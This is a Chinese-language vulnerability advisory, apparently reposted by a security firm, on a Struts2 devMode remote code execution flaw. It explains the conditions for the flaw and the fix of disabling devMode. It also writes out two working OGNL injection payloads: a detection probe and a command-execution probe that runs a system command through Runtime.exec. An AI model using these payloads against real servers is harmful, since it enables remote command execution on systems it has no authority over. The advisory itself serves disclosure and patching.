漏洞预警:Struts2 devMode远程代码执行漏洞

这几个月的Struts2的漏洞预警真多,这次最新的远程代码执行漏洞又来了。不过这次的漏洞,发生在devMode模式下——先前官方就已经告知用户,需要在网站正式上线前将devMode关闭,所以相关devMode模式下的漏洞提交已不再获得官方确认。

漏洞详情:http://mp.weixin.qq.com/s?__biz=MzAwNTI1NDI3MQ==&mid=2649611817&idx=1&sn=22c8b5372f668fed73dd67fb23e015fc&scene=1&srcid=0712qdQDE416tCqxcEJSqXUt&from=singlemessage&isappinstalled=0#wechat_redirect

当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

官网说是在开启devMode情况下,本漏洞可影响Struts 2.1.0–2.5.1,通杀Struts2所有版本。

Struts2框架存在一个devmode模式,方便开发人员调试程序,但是默认devmode是不开启的,如果想要使用,需要手动修改参数,可以将struts.properties中的devmode设置为true,或是在struts.xml中添加如下代码,

<constant name="struts.devMode" value="true" />

实际上devmode依赖于struts2底层的struts2-core.jar中的某些文件

例如:S2-008

S2-008漏洞也是一个devMode下的远程执行漏洞,由于当时Apache还没有专门的声明,要求开发者在发布系统的时候必须关闭devMode,因此这个漏洞当时还是被他们给予了CVE编号,并在后续比较迟的时候增加了对其利用方式的过滤处理。

还有最近的S2-037

不过S2-008与S2-037绕过方式很难构造出可回显输出的语句。

这个漏洞因为外网debug模式的还挺多的,发现这个洞的鸡肋所在:

1.一大部分可以被019检测出来

2.一部分可以被037检测出来

3.至于官网所说的绕过命令回显,可以参考wooyun zone中menmen519的文章:http://zone.wooyun.org/content/27732

检测POC:

?debug=browser&object=(%23mem=%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f%23context[%23parameters.rpsobj[0]].getWriter().println(%23parameters.content[0]):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789

1

命令执行回显POC:

?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -ano

2

修复方案:

关闭devMode,在struts.xml 设置  :

<constant name="struts.devMode" value="false" />

参考:

https://www.douban.com/note/258826307/?qq-pf-to=pcqq.c2c

http://zone.wooyun.org/content/28416

http://zone.wooyun.org/content/27732

http://drops.wooyun.org/papers/902

原创文章,作者:懋彤信息科技,如若转载,请注明出处:http://www.mottoin.com/492.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code